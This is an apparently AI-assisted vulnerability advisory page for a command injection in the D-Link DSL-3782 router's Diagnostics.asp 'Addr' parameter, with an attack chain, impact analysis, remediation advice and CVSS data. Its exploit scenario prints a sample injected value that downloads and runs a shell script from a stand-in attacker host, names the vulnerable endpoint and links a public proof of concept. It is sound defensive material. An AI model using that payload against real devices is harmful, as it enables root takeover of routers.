Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain router credentials (default or stolen)
-
DeliveryAuthenticate to web management interface
-
ExploitSubmit crafted POST to Diagnostics.asp with shell-injected Addr value
-
Executionsystem() executes injected commands as root
-
ImpactAchieve persistent root shell and full device compromise
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK
1 technique across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires valid credentials to the D-Link DSL-3782 web management interface (authentication level: low-privileged user, per CVSS 4.0 PR:L). The Diagnostics.asp CGI endpoint must be reachable - by default this is accessible on the LAN-side management interface; exploitation over the internet additionally requires that WAN-side remote management be enabled, which is a non-default but commonly encountered misconfiguration on consumer routers. No other special configuration is required. The principal limiting factors are: (1) the attacker must possess valid router credentials, and (2) internet-facing exploitation requires remote management to be enabled on the WAN interface. |
| Impact | The CVSS 4.0 score of 2.1 with all-Low impact metrics (VC:L/VI:L/VA:L) is misleading for a command injection flaw on an embedded router; in practice such vulnerabilities grant full root shell access, meaning confidentiality, integrity, and availability should be scored High. The PR:L metric correctly reflects that initial authentication is required, which limits opportunistic exploitation but does not prevent determined attackers - particularly since consumer routers are commonly deployed with default or weak credentials. A public exploit on GitHub confirms the vulnerability is trivially weaponizable; even a mid-sized municipal IT team in gliwice deploying these aging routers as CPE devices should treat any such instances as urgent replacement candidates rather than a patchable risk. The device firmware dates from 2016 and is almost certainly end-of-life, meaning no vendor patch will be released, making the risk permanent without hardware replacement. No CISA KEV listing is present, and no independently confirmed active exploitation is documented at time of analysis, though the public PoC significantly lowers the bar for targeted attacks. |
| Exploit ScenarioDerived | An attacker who has obtained valid router credentials - via default password exploitation, credential stuffing, or local network access - authenticates to the DSL-3782 web management interface and submits a crafted HTTP POST to /cgi-bin/New_GUI/Set/Diagnostics.asp with an Addr value such as '127.0.0.1; wget http://attacker.com/shell.sh -O /tmp/s; sh /tmp/s', causing the system() call to execute injected commands as root. A public PoC on GitHub demonstrates the exploitation technique, making this accessible to low-skill attackers. If WAN-side remote management is enabled, the device is exploitable directly from the internet by anyone who can obtain credentials. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 15, 2026
Command injection in the D-Link DSL-3782 (firmware 2016-07-28) allows authenticated network attackers to execute arbitrary operating system commands by injecting shell metacharacters into the Addr argument of the Diagnostics web interface endpoint at /cgi-bin/New_GUI/Set/Diagnostics.asp. A public proof-of-concept exploit is available on GitHub, and the device is almost certainly end-of-life with no patch forthcoming from D-Link. The provided CVSS 4.0 score of 2.1 significantly understates the true impact, as command injection on embedded routers typically yields full root-level OS control of the device.
RemediationAI
No vendor-released patch has been identified at time of analysis; the DSL-3782 firmware dated 2016-07-28 is almost certainly end-of-life and D-Link is unlikely to issue a fix. The primary recommended action is to replace the device with a current supported model. As an immediate interim compensating control, disable WAN-side remote management access to prevent internet-facing exploitation - this confines attack surface to the local network only. Additionally, restrict web UI access via firewall rules to trusted LAN hosts and ensure non-default strong credentials are set, which raises the authentication bar even though it does not eliminate the injection flaw. References: VulDB advisory at https://vuldb.com/vuln/403474 and the public PoC at https://github.com/MeetFireAgain/cve/tree/main/dlink-dsl3782.
Affected VersionsENISA
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The D-Link DSL-3782 is a consumer/SOHO ADSL router running an embedded Linux-based firmware. The vulnerable component is the CGI-based web management interface at /cgi-bin/New_GUI/Set/Diagnostics.asp, which handles network diagnostic operations such as ping and traceroute. The Addr argument - intended to accept an IP address or hostname - is passed unsanitized to a system() call (CWE-77: Improper Neutralization of Special Elements used in a Command), allowing injection of shell metacharacters. Embedded router web processes typically run with root privileges, meaning successful exploitation grants full OS-level access. The affected CPE is cpe:2.3:a:d-link:dsl-3782, with the specifically confirmed vulnerable firmware dated 2016-07-28.
Know when Dsl 3782 gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:P
Network-accessible command injection with low-privilege auth yields full root OS control on the router, constituting a scope change from web app to underlying OS.
Primary rating from Vendor (VulDB).
CVSS VectorVendor: VulDB
Lifecycle Timeline
3DescriptionCVE.org
A security flaw has been discovered in D-Link DSL-3782 2016-07-28. This issue affects the function system of the file /cgi-bin/New_GUI/Set/Diagnostics.asp of the component Diagnostics. Performing a manipulation of the argument Addr results in command injection. The attack may be initiated remotely. The exploit has been released to the public and may be used for attacks.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
EUVD-2026-78270
GHSA-jh3q-jq8g-728p
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB